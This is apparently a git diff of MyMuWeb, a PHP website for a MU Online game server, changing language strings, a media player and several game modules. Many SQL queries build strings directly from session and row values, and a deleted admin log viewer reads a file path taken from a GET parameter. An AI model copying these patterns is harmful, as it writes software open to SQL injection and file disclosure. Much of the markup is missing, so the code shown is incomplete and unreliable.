Enough Zen in ExtraWareHouse, To Buy Item!"); -define('mmw_lang_purchased_item_after',"You Purchased Item After:"); -define('mmw_lang_not_your_item',"This is not Your Item!"); -define('mmw_lang_take_away_item_from_market',"You take away item from Market!"); -define('mmw_lang_message_sent',"Message SuccessFully Sent To:"); -define('mmw_lang_message_deleted',"Message SuccessFully Deleted!"); -define('mmw_lang_minimum_zen_can_send',"Minimum Zen Can Send! You Have:"); -define('mmw_lang_no_zen_for_send_zen',"Can't Send Zen, you haven't zen for Service:"); -define('mmw_lang_zen_sent',"Zen To Character SuccessFully Sent!"); -define('mmw_lang_change_class_need',"To Change Class Need"); -define('mmw_lang_character_changed',"Character Class SuccessFully Changed"); -?> \ No newline at end of file +define('mmw_lang_left_blank', "Some Fields Were Left Blank!"); +define('mmw_lang_invalid_account', "Account Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_invalid_email', "E-mail Is Invalid (ex. sombody@yahoo.com Max:50)"); +define('mmw_lang_invalid_password', "Password Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_invalid_repassword', "Passwords Did not Match"); +define('mmw_lang_invalid_question', "Secret Question Is Invalid (4-10 Alpha-Numeric Characters, NO SPACES)"); +define('mmw_lang_invalid_answer', "Secret Answer Is Invalid (4-10 Alpha-Numeric Characters, NO SPACES)"); +define('mmw_lang_invalid_fullname', "Full Name Is Invalid (2-10 Alpha-Numeric Characters)"); +define('mmw_lang_correctly_code', "Please Write Code Correctly!"); +define('mmw_lang_account_in_use', "Account Is Already In Use, Please Choose Another!"); +define('mmw_lang_email_in_use', "E-Mail Is Already In Use, Please Choose Another!"); +define('mmw_lang_invalid_country', "Please Select Country Correctly!"); +define('mmw_lang_max_acc_one_ip', "On your IP Address {NUMBER} is already registered User"); +define('mmw_lang_account_created', "Your Account Has Been SuccesFully Created!"); +define('mmw_lang_character_does_not_exist', "Character Does Not Exist!"); +define('mmw_lang_for_reset_need', "For Reset Need"); +define('mmw_lang_reset_limit_to', "Reset limit is set to"); +define('mmw_lang_take_off_set', "You Forgot to Take off Set from Character"); +define('mmw_lang_character_reseted', "Your Character Has Been SuccessFully Reseted!"); +define('mmw_lang_point_must_be_number', "Points must be a positive number!"); +define('mmw_lang_dont_have_point', "Character Don't Have Enough Point
Currently:"); +define('mmw_lang_max_point', "Character Have Maximum Point!"); +define('mmw_lang_character_stats_added', "Character Has Been SuccessFully Stats Added!
Points Left To Add:"); +define('mmw_lang_is_not_killer', "Is Not a Killer, 2nd Level Killer Or a Phono!"); +define('mmw_lang_clear_pk_need', "To Clear Pk Need"); +define('mmw_lang_character_cleared', "Character Has Been SuccessFully Cleared!"); +define('mmw_lang_invalid_current_password', "Current Password Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_invalid_new_password', "New Password Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_old_and_new_password', "The Current Password And The New One Are The Same!"); +define('mmw_lang_password_changed', "Password SuccessFully Changed!"); +define('mmw_lang_question_or_answer_incorrect', "Secret Question Or Answer Is Incorrect!"); +define('mmw_lang_your_password', "Change It A Fast As You Can!!!
Your Password Is:"); +define('mmw_lang_profile_edited', "Profile SuccessFully Edited!"); +define('mmw_lang_move_need', "To Move Need"); +define('mmw_lang_character_moved', "Character SuccessFully Moved!"); +define('mmw_lang_zen_must_be_number', "Zen must be a positive number!"); +define('mmw_lang_zen_cant_move', "Zen Can't Move, because From = To!"); +define('mmw_lang_not_Zen_to_move', "Not Enough Zen, To Move!"); +define('mmw_lang_zen_more_max', "Zen is superfluous, it's more:"); +define('mmw_lang_zen_moved', "Zen SuccessFully Moved!"); +define('mmw_lang_cant_sent_comment_need_wait', "You have sent the comment, please wait:"); +define('mmw_lang_comment_sent', "Comment SuccessFully Sent!"); +define('mmw_lang_comment_deleted', "Comment SuccessFully Deleted!"); +define('mmw_lang_cant_or_alread_delete', "You Can't Edit, or is already delete!"); +define('mmw_lang_topic_status', "Topic Status SuccessFully Changed!"); +define('mmw_lang_topic_sent', "Topic SuccessFully sent!"); +define('mmw_lang_topic_deleted', "Topic SuccessFully Deleted!"); +define('mmw_lang_request_sent', "Request SuccessFully Sent!"); +define('mmw_lang_item_not_find', "Item Not Find, or is already delete!"); +define('mmw_lang_no_zen_to_sell_item', "Not Enough Zen in ExtraWareHouse, To Sell Item!"); +define('mmw_lang_item_sold', "Item SuccessFully Sold!"); +define('mmw_lang_no_zen_to_buy_item', "Not Enough Zen in ExtraWareHouse, To Buy Item!"); +define('mmw_lang_purchased_item_after', "You Purchased Item After:"); +define('mmw_lang_not_your_item', "This is not Your Item!"); +define('mmw_lang_take_away_item_from_market', "You take away item from Market!"); +define('mmw_lang_subject_max_length', "The subject is too long, 50 characters max."); +define('mmw_lang_message_sent', "Message SuccessFully Sent To:"); +define('mmw_lang_message_deleted', "Message SuccessFully Deleted!"); +define('mmw_lang_minimum_zen_can_send', "Minimum Zen Can Send! You Have:"); +define('mmw_lang_no_zen_for_send_zen', "Can't Send Zen, you haven't zen for Service:"); +define('mmw_lang_zen_sent', "Zen To Character SuccessFully Sent!"); +define('mmw_lang_change_class_need', "To Change Class Need"); +define('mmw_lang_character_changed', "Character Class SuccessFully Changed"); diff --git a/lang/Russian.php b/lang/Russian.php index f0cb67a..0eff25c 100644 --- a/lang/Russian.php +++ b/lang/Russian.php @@ -1,407 +1,409 @@ -в настоящее время:"); -define('mmw_lang_max_point',"Персонаж имеет максимальные Пойнты!"); -define('mmw_lang_character_stats_added',"Пойнты персонажа успешно распределены!
Осталось:"); -define('mmw_lang_is_not_killer',"Не убийца!"); -define('mmw_lang_clean_pk_need',"Для очистки нужно"); -define('mmw_lang_character_cleared',"Убийства персонажа успешно очищены!"); -define('mmw_lang_invalid_current_password',"Неверный текущий пароль (4-10, можно указывать только символы A-z,0-9)"); -define('mmw_lang_invalid_new_password',"Неверный Новый Пароль (4-10, можно указывать только символы A-z,0-9)"); -define('mmw_lang_old_and_new_password',"Текущий пароль и новый пароль одинаковы!"); -define('mmw_lang_password_changed',"Пароль успешно изменён!"); -define('mmw_lang_question_or_answer_incorrect',"Секретный вопрос или секретный ответ неверный!"); -define('mmw_lang_your_password',"Восстановление прошло успешно
Ваш пароль:"); -define('mmw_lang_profile_edited',"Профиль успешно изменён!"); -define('mmw_lang_move_need',"Для перемещения нужно"); -define('mmw_lang_character_moved',"Персонаж успешно перемещён!"); -define('mmw_lang_zen_must_be_number',"Поле Zen должно быть положительным числом!"); -define('mmw_lang_zen_cant_move',"Zen не переместить, потому что откуда = куда!"); -define('mmw_lang_not_Zen_to_move',"Недостаточно Zen для перемещения!"); -define('mmw_lang_zen_more_max',"Zen больше чем:"); -define('mmw_lang_zen_moved',"Zen успешно перемещён!"); -define('mmw_lang_cant_sent_comment_need_wait',"Вы уже отправляли сообщения, подождите:"); -define('mmw_lang_comment_sent',"Комментарий успешно отправлен!"); -define('mmw_lang_comment_deleted',"Комментарий успешно удалён!"); -define('mmw_lang_cant_or_alread_delete',"Вы не можите редактировать или уже удалено!"); -define('mmw_lang_topic_status',"Статус темы успешно изменён!"); -define('mmw_lang_topic_sent',"Тема успешно отправлена!"); -define('mmw_lang_topic_deleted',"Тема успешно удалена!"); -define('mmw_lang_request_sent',"Запрос успешно послан!"); -define('mmw_lang_item_not_find',"Вещь не найдена или уже удалена!"); -define('mmw_lang_no_zen_to_sell_item',"Не достаточно Zen в заначке для продажи вещей!"); -define('mmw_lang_item_sold',"Вещь успешно продана!"); -define('mmw_lang_no_zen_to_buy_item',"Недостаточно Zen в заначке для покупки вещей!"); -define('mmw_lang_purchased_item_after',"Вы приобрели вещь за:"); -define('mmw_lang_not_your_item',"Это не ваша вещь!"); -define('mmw_lang_take_away_item_from_market',"Вы забрали вещь из рынка!"); -define('mmw_lang_message_sent',"Сообщения успешно послано:"); -define('mmw_lang_message_deleted',"Сообщение успешно удалено!"); -define('mmw_lang_minimum_zen_can_send',"Минимум Zen можно послать:"); -define('mmw_lang_no_zen_for_send_zen',"Невозможно послать Zen, у вас недостаточно Zen для оплаты стоимости услуги:"); -define('mmw_lang_zen_sent',"Zen персонажу успешно послан!"); -define('mmw_lang_change_class_need',"Для изменения класса нужно"); -define('mmw_lang_character_changed',"Персонажа класс успешно изменён!"); -?> \ No newline at end of file +define('mmw_lang_left_blank', "Некоторые поля были не заполнены!"); +define('mmw_lang_invalid_account', "Неверное имя пользователя (4-10 можно указывать только символы A-z,0-9)"); +define('mmw_lang_invalid_email', "Неверный e-mail (пример: sombody@yahoo.com, макс:50)"); +define('mmw_lang_invalid_password', "Неверный Пароль (4-10 можно указывать только символы A-z,0-9)"); +define('mmw_lang_invalid_repassword', "Пароли не соответствуют"); +define('mmw_lang_invalid_question', "Неверный секретный вопрос (4-10 можно указывать только символы A-z,0-9, БЕЗ ПРОБЕЛА)"); +define('mmw_lang_invalid_answer', "Неверный секретный ответ (4-10 можно указывать только символы A-z,0-9, БЕЗ ПРОБЕЛА)"); +define('mmw_lang_invalid_fullname', "Неверное имя (2-10 можно указывать только символы A-z,0-9)"); +define('mmw_lang_correctly_code', "Пожалуйста, напишите проверочный код корректно!"); +define('mmw_lang_account_in_use', "Такой пользователь уже есть, выберите другой!"); +define('mmw_lang_email_in_use', "Такой e-mail уже есть, выберите другой!"); +define('mmw_lang_invalid_country', "Пожалуйста, выберите страну корректно!"); +define('mmw_lang_max_acc_one_ip', "На ваш IP address уже зарегистрировано {NUMBER} пользователя(ей)"); +define('mmw_lang_account_created', "Пользователь успешно создан!"); +define('mmw_lang_character_does_not_exist', "Персонаж не существует!"); +define('mmw_lang_for_reset_need', "Для ресета нужно"); +define('mmw_lang_reset_limit_to', "Ресет лимит до"); +define('mmw_lang_take_off_set', "Вы забыли снять set вещи с персонажа"); +define('mmw_lang_character_reseted', "Ресет персонажа сделан успешно!"); +define('mmw_lang_point_must_be_number', "Поинты должны быть положительным цифрами!"); +define('mmw_lang_dont_have_point', "Персонаж не имеет столько пойнтов
в настоящее время:"); +define('mmw_lang_max_point', "Персонаж имеет максимальные Пойнты!"); +define('mmw_lang_character_stats_added', "Пойнты персонажа успешно распределены!
Осталось:"); +define('mmw_lang_is_not_killer', "Не убийца!"); +define('mmw_lang_clear_pk_need', "Для очистки нужно"); +define('mmw_lang_character_cleared', "Убийства персонажа успешно очищены!"); +define('mmw_lang_invalid_current_password', "Неверный текущий пароль (4-10, можно указывать только символы A-z,0-9)"); +define('mmw_lang_invalid_new_password', "Неверный Новый Пароль (4-10, можно указывать только символы A-z,0-9)"); +define('mmw_lang_old_and_new_password', "Текущий пароль и новый пароль одинаковы!"); +define('mmw_lang_password_changed', "Пароль успешно изменён!"); +define('mmw_lang_question_or_answer_incorrect', "Секретный вопрос или секретный ответ неверный!"); +define('mmw_lang_your_password', "Восстановление прошло успешно
Ваш пароль:"); +define('mmw_lang_profile_edited', "Профиль успешно изменён!"); +define('mmw_lang_move_need', "Для перемещения нужно"); +define('mmw_lang_character_moved', "Персонаж успешно перемещён!"); +define('mmw_lang_zen_must_be_number', "Поле Zen должно быть положительным числом!"); +define('mmw_lang_zen_cant_move', "Zen не переместить, потому что откуда = куда!"); +define('mmw_lang_not_Zen_to_move', "Недостаточно Zen для перемещения!"); +define('mmw_lang_zen_more_max', "Zen больше чем:"); +define('mmw_lang_zen_moved', "Zen успешно перемещён!"); +define('mmw_lang_cant_sent_comment_need_wait', "Вы уже отправляли сообщения, подождите:"); +define('mmw_lang_comment_sent', "Комментарий успешно отправлен!"); +define('mmw_lang_comment_deleted', "Комментарий успешно удалён!"); +define('mmw_lang_cant_or_alread_delete', "Вы не можите редактировать или уже удалено!"); +define('mmw_lang_topic_status', "Статус темы успешно изменён!"); +define('mmw_lang_topic_sent', "Тема успешно отправлена!"); +define('mmw_lang_topic_deleted', "Тема успешно удалена!"); +define('mmw_lang_request_sent', "Запрос успешно послан!"); +define('mmw_lang_item_not_find', "Вещь не найдена или уже удалена!"); +define('mmw_lang_no_zen_to_sell_item', "Не достаточно Zen в заначке для продажи вещей!"); +define('mmw_lang_item_sold', "Вещь успешно продана!"); +define('mmw_lang_no_zen_to_buy_item', "Недостаточно Zen в заначке для покупки вещей!"); +define('mmw_lang_purchased_item_after', "Вы приобрели вещь за:"); +define('mmw_lang_not_your_item', "Это не ваша вещь!"); +define('mmw_lang_take_away_item_from_market', "Вы забрали вещь из рынка!"); +define('mmw_lang_subject_max_length', "Заголовок слишком длинный, максимум 50 сим."); +define('mmw_lang_message_sent', "Сообщения успешно послано:"); +define('mmw_lang_message_deleted', "Сообщение успешно удалено!"); +define('mmw_lang_minimum_zen_can_send', "Минимум Zen можно послать:"); +define('mmw_lang_no_zen_for_send_zen', "Невозможно послать Zen, у вас недостаточно Zen для оплаты стоимости услуги:"); +define('mmw_lang_zen_sent', "Zen персонажу успешно послан!"); +define('mmw_lang_change_class_need', "Для изменения класса нужно"); +define('mmw_lang_character_changed', "Персонажа класс успешно изменён!"); diff --git a/logs.php b/logs.php deleted file mode 100644 index aaa42ad..0000000 --- a/logs.php +++ /dev/null @@ -1,28 +0,0 @@ - - - - MMW Admin Logs - - - -
-/!\ Access Denied!");}
-
-if(is_file("logs/$_GET[log].php")){
- $logfile="logs/$_GET[log].php";
- echo implode('', file($logfile));
-}
-else{
- echo "/!\ None!";
-}
-?>
-
- - \ No newline at end of file diff --git a/media/gallery/MUMG.jpg b/media/gallery/MUMG.jpg new file mode 100644 index 0000000..f85a2e4 Binary files /dev/null and b/media/gallery/MUMG.jpg differ diff --git a/media/gallery/MUMG.php b/media/gallery/MUMG.php new file mode 100644 index 0000000..12aa67d --- /dev/null +++ b/media/gallery/MUMG.php @@ -0,0 +1,10 @@ + - -Info About File - -
- -
- -
- - - - - - -
- - - -
-By Vaflan for MyMuWeb. - -
- - \ No newline at end of file diff --git a/media/player.php b/media/player.php index fcfda48..8e229dc 100644 --- a/media/player.php +++ b/media/player.php @@ -1,40 +1,44 @@ -\n $dir$file\n $num. $file\n MyMuWeb\n MuOnline MMORPG Music by Vaflan\n ".$dir."?f=$file\n \n"; - $folder_list = $folder_list . $track[$num]; - } - } - closedir($dh); +$playlist = array(); +if ($dh = opendir(MMW_MEDIA_DIR)) { + $number = 1; + while (($file = readdir($dh)) !== false) { + if (substr($file, -3) !== 'mp3') { + continue; + } + $playlist[] = MMW_MEDIA_DIR . $file; + } + closedir($dh); } - -// Creat Data for XML -$data = "\n\n MuOnline MMORPG Music by Vaflan\n MyMuWeb By Vaflan\n http://mmw.clan.su\n \n\n"; -$data = $data . $track[rand(1,$num)] . $folder_list; -$data = $data . "\n\n \n"; - -// Writh to XML -$fd = fopen($dir.$xml, "w"); -fwrite($fd, $data); -fclose($fd); - -echo $rowbr; ?> - -
- -
\ No newline at end of file + \ No newline at end of file diff --git a/media/player.swf b/media/player.swf deleted file mode 100644 index a063c48..0000000 Binary files a/media/player.swf and /dev/null differ diff --git a/media/playlist.xml b/media/playlist.xml deleted file mode 100644 index d966d3d..0000000 --- a/media/playlist.xml +++ /dev/null @@ -1,27 +0,0 @@ - - - MuOnline MMORPG Music by Vaflan - MyMuWeb By Vaflan - http://mmw.clan.su - - - - - media/Main.mp3 - 1. Main.mp3 - MyMuWeb - MuOnline MMORPG Music by Vaflan - media/?f=Main.mp3 - - - - media/Main.mp3 - 1. Main.mp3 - MyMuWeb - MuOnline MMORPG Music by Vaflan - media/?f=Main.mp3 - - - - - \ No newline at end of file diff --git a/media/tagcloud.swf b/media/tagcloud.swf deleted file mode 100644 index d8d6c5c..0000000 Binary files a/media/tagcloud.swf and /dev/null differ diff --git a/menu.php b/menu.php deleted file mode 100644 index 065c0bc..0000000 --- a/menu.php +++ /dev/null @@ -1,26 +0,0 @@ - \ No newline at end of file diff --git a/modules/alliance.php b/modules/alliance.php index 9c91f35..e8eb7b1 100644 --- a/modules/alliance.php +++ b/modules/alliance.php @@ -1,50 +1,69 @@ -',false); return false\"> $guildm[0]"; ?> - - - - - - - - - -
:
:
+ + + + + + + + + +
: + + + + +
: + +
- + -
-

 
- - - - - - - +
+ +
-',false); return false\">$guildm[0]"; - $members = mssql_num_rows( mssql_query("SELECT name FROM Guildmember WHERE G_Name='$alliance_row[0]'") ); +
#
+ + + + + + + + + + - - - - - "; -} -?> -
#
$rank$alliance_row[0] $guild_mark$alliance_row[1]$members
-
\ No newline at end of file + echo << + {$rank} + + {$alliance_row[0]} + + + + + {$alliance_row[1]} + {$alliance_row[3]} + +HTML; + $rank++; + } + ?> + + \ No newline at end of file diff --git a/modules/blocked.php b/modules/blocked.php index 184bdd7..981e4fb 100644 --- a/modules/blocked.php +++ b/modules/blocked.php @@ -1,43 +1,71 @@ -

 
- - - - - - - - - - +
+ +
+ +
#
+ + + + + + + + + -"; -} - -for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); - $rank = $i+1; - - if($row[1] > 0) {$date = date("d M Y, H:i",$row[1]);} - else {$date = mmw_lang_for_ever;} - - if($row[2] > 0) {$to = date("d M Y, H:i",$row[1]+$row[2]);} - else {$to = mmw_lang_never;} - - if($row[3] != '' && $row[3] != '0') {$by_who = "$row[3]";} - else {$by_who = "Unknow";} - -echo " - - - - - - - "; -} -?> + + '; + } + + $language = array( + 'show_now' => mmw_lang_show_now + ); + + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $date = !empty($row[1]) + ? date('d M Y, H:i', $row[1]) + : mmw_lang_for_ever; + + $to = !empty($row[2]) + ? date('d M Y, H:i', $row[1] + $row[2]) + : mmw_lang_never; + + $by_who = !empty($row[3]) + ? '' . $row[3] . '' + : 'unknown'; + + $account = empty($row[4]) || !empty($mmw['status_rules'][$_SESSION['mmw_status']]['gm_option']) + ? " [{$row[0]}]" + : ''; + + $check_url = !empty($row[4]) + ? "?op=checkacc&w=block&character={$row[4]}" + : "?op=checkacc&w=block&n={$row[0]}"; + + echo << + + + + + + + +HTML; + $rank++; + } + ?> +
#
".mmw_lang_no_blocked_accounts."
$rank$row[0]$date$to$by_who".mmw_lang_show_now."
' . mmw_lang_no_blocked_accounts . '
{$rank}{$row[4]}{$account}{$date}{$to}{$by_who}{$language['show_now']}
\ No newline at end of file diff --git a/modules/castlesiege.php b/modules/castlesiege.php index e4ef7d6..bd3b90b 100644 --- a/modules/castlesiege.php +++ b/modules/castlesiege.php @@ -1,155 +1,213 @@ -'.mmw_lang_is_opened.'';} - else {$cs_status = ''.mmw_lang_is_closed.'';} +$row[0]"; - $cs_guild_master = "$cs_guild_row[0]"; - $logo = urlencode(bin2hex($cs_guild_row[1])); - $cs_guild_mark = ""; - } - else { - $cs_guild = "None"; - $cs_guild_master = "None"; - } +if ($mmw['castle_siege']['switch']) { + if ($_ENV['mmw_cache']['castle_siege']['timeout'] + $mmw['server_timeout'] < time()) { + $_ENV['mmw_cache']['castle_siege']['status'] = false; + if ($check = @fsockopen($mmw['castle_siege']['ip'], $mmw['castle_siege']['port'], $error_code, $error_message, 0.3)) { + fclose($check); + $_ENV['mmw_cache']['castle_siege']['status'] = true; + } + $_ENV['mmw_cache']['castle_siege']['timeout'] = time(); + } - if($mmw[mix_cs_memb_reset]=="yes") { - if($mmw[max_zen_cs_reset]>$row[3]) {$edited_zen_cs = $row[3];} - else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( substr($mmw['resetmoney'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; - $cs_memb_reset_proc = ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ); - } + $cs_status = ($_ENV['mmw_cache']['castle_siege']['status']) + ? '' . mmw_lang_is_opened . '' + : '' . mmw_lang_is_closed . ''; - // LoaD MuCastleData.dat - server_file($mmw[mu_castle_data],1,1); - $mucastledata = $_SESSION[server_file][$mmw[mu_castle_data]][1]; + /** + * Load MuCastleData.dat + * @noinspection PhpUndefinedFunctionInspection + */ + $muCastleData = mu_server_file($mmw['castle_siege']['data'], true)[1]; - function week2str($num) { - if($num[1]==0) {$result=mmw_lang_week_mon;} - if($num[1]==1) {$result=mmw_lang_week_tue;} - if($num[1]==2) {$result=mmw_lang_week_wed;} - if($num[1]==3) {$result=mmw_lang_week_thu;} - if($num[1]==4) {$result=mmw_lang_week_fri;} - if($num[1]==5) {$result=mmw_lang_week_sat;} - if($num[1]==6) {$result=mmw_lang_week_sun;} - echo $result; - } - function array2time($array) { - if($array[2]<9 && strlen($array[2])<2) {$array[2] = "0$array[2]";} - if($array[3]<9 && strlen($array[3])<2) {$array[3] = "0$array[3]";} - echo "$array[2]:$array[3]"; - } - function array2sec($array) { - $result = ($array[1]*24*60*60) + ($array[2]*60*60) + ($array[3]*60); - return $result; - } + $query = mssql_query("SELECT + mcd.OWNER_GUILD, + mcd.SIEGE_START_DATE, + mcd.SIEGE_END_DATE, + mcd.MONEY, + mcd.TAX_HUNT_ZONE, + g.G_Master, + g.G_Mark + FROM dbo.MuCastle_DATA AS mcd + LEFT JOIN dbo.Guild AS g ON g.G_Name = mcd.OWNER_GUILD + "); + $row = mssql_fetch_row($query); + if (!empty($row[0])) { + $cs_guild = '' . $row[0] . ''; + $cs_guild_master = '' . $row[5] . ''; + $logo = urlencode(bin2hex($row[6])); + $cs_guild_mark = ''; + } else { + $cs_guild = 'None'; + $cs_guild_master = 'None'; + } - $now_time = time(); - $cs_start = time_format($row[1],"d M Y"); - $cs_end = time_format($row[2],"d M Y"); - if(strtotime($cs_start)+array2sec($mucastledata[2]) > $now_time) {$cs_period = mmw_lang_register_for_attack;} - elseif(strtotime($cs_start)+array2sec($mucastledata[4]) > $now_time) {$cs_period = mmw_lang_sing_of_lord;} - elseif(strtotime($cs_start)+array2sec($mucastledata[6]) > $now_time) {$cs_period = mmw_lang_information;} - elseif(strtotime($cs_start)+array2sec($mucastledata[7]) > $now_time) {$cs_period = mmw_lang_ready_for_attack;} - elseif(strtotime($cs_start)+array2sec($mucastledata[8]) > $now_time) {$cs_period = mmw_lang_attack_castle_siege;} - else {$cs_period = 'Truce';} -?> + if ($mmw['cs_memb_reset_discount']) { + $edited_zen_cs = ($mmw['cs_memb_reset_must_have_zen'] > $row[3]) + ? $row[3] + : $mmw['cs_memb_reset_must_have_zen']; + $cs_zen_kk = substr($edited_zen_cs, 0, -6); + $cs_memb_reset_proc = ceil($cs_zen_kk / $mmw['cs_memb_reset_max_percent']); + $cs_memb_reset_zen = (substr($mmw['reset_money'], 0, -6) * $cs_memb_reset_proc) / 100; + } - - + +
+ function array2time($array) + { + if (strlen($array[2]) < 2) { + $array[2] = '0' . $array[2]; + } + if (strlen($array[3]) < 2) { + $array[3] = '0' . $array[3]; + } + echo $array[2] . ':' . $array[3]; + } - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Castle Siege:
:
:
:-% (kk Zen)
: Zen
:
:
:
+ function dayArray2sec($date, $array) + { + return strtotime($date) + ($array[1] * 24 * 60 * 60) + ($array[2] * 60 * 60) + ($array[3] * 60); + } - + $now_time = time(); + $cs_start = time_format($row[1], 'd M Y'); + if (dayArray2sec($cs_start, $muCastleData[2]) > $now_time) { + $cs_period = mmw_lang_register_for_attack; + } elseif (dayArray2sec($cs_start, $muCastleData[4]) > $now_time) { + $cs_period = mmw_lang_sing_of_lord; + } elseif (dayArray2sec($cs_start, $muCastleData[6]) > $now_time) { + $cs_period = mmw_lang_information; + } elseif (dayArray2sec($cs_start, $muCastleData[7]) > $now_time) { + $cs_period = mmw_lang_ready_for_attack; + } elseif (dayArray2sec($cs_start, $muCastleData[8]) > $now_time) { + $cs_period = mmw_lang_attack_castle_siege; + } else { + $cs_period = 'Truce'; + } + ?> - - - - - - - - - - - - - - - - - - - - - -
:. - .
:. - .
:. - .
:. - .
:. - .
+ + + - -
- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Castle Siege:
:
:
:-% (kk Zen)
: Zen
:
:
:
- - -0) { - for ($i=0; $i<$cs_reg_num; ++$i) { - $cs_row_reg = mssql_fetch_row($cs_reg_query); - echo ""; - } -} -else {echo "";}?> -
$cs_row_reg[0]. $cs_row_reg[1] (Sing of Lord: $cs_row_reg[2])
".mmw_lang_no_guilds."
+ + + + + + + + + + + + + + + + + + + + + + + +
: + . + - + . +
: + . + - + . +
: + . + - + . +
: + . + - + . +
: + . + - + . +
+ + + + + + + + + + '; + echo << + + +HTML; + } + } else { + echo ''; + } ?> +
' . $cs_row_reg[0] . '. ' . $cs_row_reg[1] . ' (Sing of Lord: ' . $cs_row_reg[2] . ')
+ {$cs_row_reg[0]}. {$cs_row_reg[1]} (Sing of Lord: {$cs_row_reg[2]}) +
' . mmw_lang_no_guilds . '
-
-" title="Castle Siege"> -
- +
+ Castle Siege +
+ ' . mmw_lang_is_closed . ''; } -else { - echo '
' . mmw_lang_is_closed . '
'; -}?> \ No newline at end of file diff --git a/modules/character.php b/modules/character.php index 477a910..46fa88e 100644 --- a/modules/character.php +++ b/modules/character.php @@ -1,111 +1,191 @@ - Supported by MyMuWeb' . $die_end; +} else { + if (isset($_POST['send_zen'])) { + $zen = intval($_POST['zen']); + $zenWithFee = $zen + $mmw['service_send_zen']; -$profile_sql = mssql_query("Select hide_profile from memb_info where memb___id='$info[7]'"); -$profile_row = mssql_fetch_row($profile_sql); -if($profile_row[0] == '0'){$profile = "".mmw_lang_view_profile."
";} + $result = mssql_query("SELECT extMoney FROM dbo.warehouse WHERE AccountID='{$_SESSION['user']}'"); + $from = mssql_fetch_row($result); -$status_sql = mssql_query("select connectstat,CONNECTTM from MEMB_STAT where memb___id='$info[7]'"); -$status_row = mssql_fetch_row($status_sql); -$statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$info[7]'"); -$statusdc = mssql_fetch_row($statusdc_reults); -if($statusdc[0]==$info[0] && $status_row[0]==1){$login_status=''.mmw_lang_acc_online.'';} -else{$login_status=''.mmw_lang_acc_offline.'';} + if (!preg_match('/^\d+$/', $_POST['zen'])) { + echo $die_start . mmw_lang_zen_must_be_number . $die_end; + } elseif ($info[7] === $_SESSION['user']) { + echo $die_start . mmw_lang_zen_cant_move . $die_end; + } elseif ($zen < $mmw['min_send_zen']) { + echo $die_start . zen_format($mmw['min_send_zen']) . ' ' . mmw_lang_minimum_zen_can_send . ' ' . $from[0] . $die_end; + } elseif ($from[0] - $zenWithFee < 0) { + echo $die_start . mmw_lang_no_zen_for_send_zen . ' ' . zen_format($mmw['service_send_zen']) . '!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]=[extMoney]-{$zenWithFee} WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.warehouse SET [extMoney]=[extMoney]+{$zen} WHERE AccountID='{$info[7]}'"); + guard_mmw_mess($characterName, 'It was sent to you in Extra Ware House: ' . zen_format($zen) . ', From: ' . $_SESSION['character'] . '.'); + writelog('send_zen', 'Char: ' . $_SESSION['character'] . ' Has Been Send Zen: ' . $zen . ', To: ' . $characterName . ' (Start:' . $from[0] . ',Merge:' . $zenWithFee . ')'); + echo $okey_start . $zen . ' ' . mmw_lang_zen_sent . $okey_end; + } + echo $rowbr; + } -$guildm_results = mssql_query("Select G_name from GuildMember where name='$info[0]'"); -$guildm = mssql_fetch_row($guildm_results); -if($guildm[0]==NULL || $guildm[0]==" "){$guild_end = mmw_lang_no_guild;} -else { -$guild_results = mssql_query("Select G_name,g_mark from Guild where g_name='$guildm[0]'"); -$guild_row = mssql_fetch_row($guild_results); -$logo = urlencode(bin2hex($guild_row[1])); -$guild_end = " $guildm[0]"; -} + $account_result = mssql_query("SELECT mi.hide_profile,ms.ConnectStat,ms.ConnectTM,ac.GameIDC + FROM dbo.MEMB_INFO AS mi + LEFT JOIN dbo.MEMB_STAT AS ms ON ms.memb___id = mi.memb___id + LEFT JOIN dbo.AccountCharacter AS ac ON ac.Id = mi.memb___id + WHERE mi.memb___id='{$info[7]}'"); + $account_row = mssql_fetch_row($account_result); -if($info[12]==NULL || $info[12]==" "){$info[12] = mmw_lang_no_kills;} + $profile_link = ''; + if (empty($account_row[0])) { + $profile_link = '' . mmw_lang_view_profile . '
'; + } -if(isset($_SESSION['char_set']) && $_SESSION['char_set']!=' ' && isset($_SESSION['user'])) {$send_zen = "

".mmw_lang_service_fee.': '.zen_format($mmw[service_send_zen]).' Zen
';} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$send_zen = mmw_lang_cant_add_no_char;} -else {$send_zen = mmw_lang_guest_must_be_logged_on;} -?> + $login_status = ($account_row[1] && $account_row[3] === $info[0]) + ? '' . mmw_lang_acc_online . '' + : '' . mmw_lang_acc_offline . ''; - - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0){?> - - - - - - - - - - - - - - - - - - - + $guild_result = mssql_query("SELECT gm.G_Name,g.G_Mark + FROM dbo.GuildMember AS gm + JOIN dbo.Guild AS g ON g.G_Name = gm.G_Name + WHERE gm.Name='{$info[0]}'"); + $guild_row = mssql_fetch_row($guild_result); + if (empty($guild_row[0])) { + $guildData = mmw_lang_no_guild; + } else { + $guildMark = urlencode(bin2hex($guild_row[1])); + $guildData = << +{$guild_row[0]} +HTML; + } + + if (empty($info[12])) { + $info[12] = mmw_lang_no_kills; + } + + $send_zen = mmw_lang_guest_must_be_logged_on; + if (!empty($_SESSION['character'])) { + $language = array( + 'send' => mmw_lang_send, + 'service_fee' => mmw_lang_service_fee + ); + $serviceFee = zen_format($mmw['service_send_zen']); + $send_zen = << + +
+ {$language['service_fee']}: {$serviceFee} Zen + +HTML; + } elseif (isset($_SESSION['user'])) { + $send_zen = mmw_lang_cant_add_no_char; + } + ?> + +
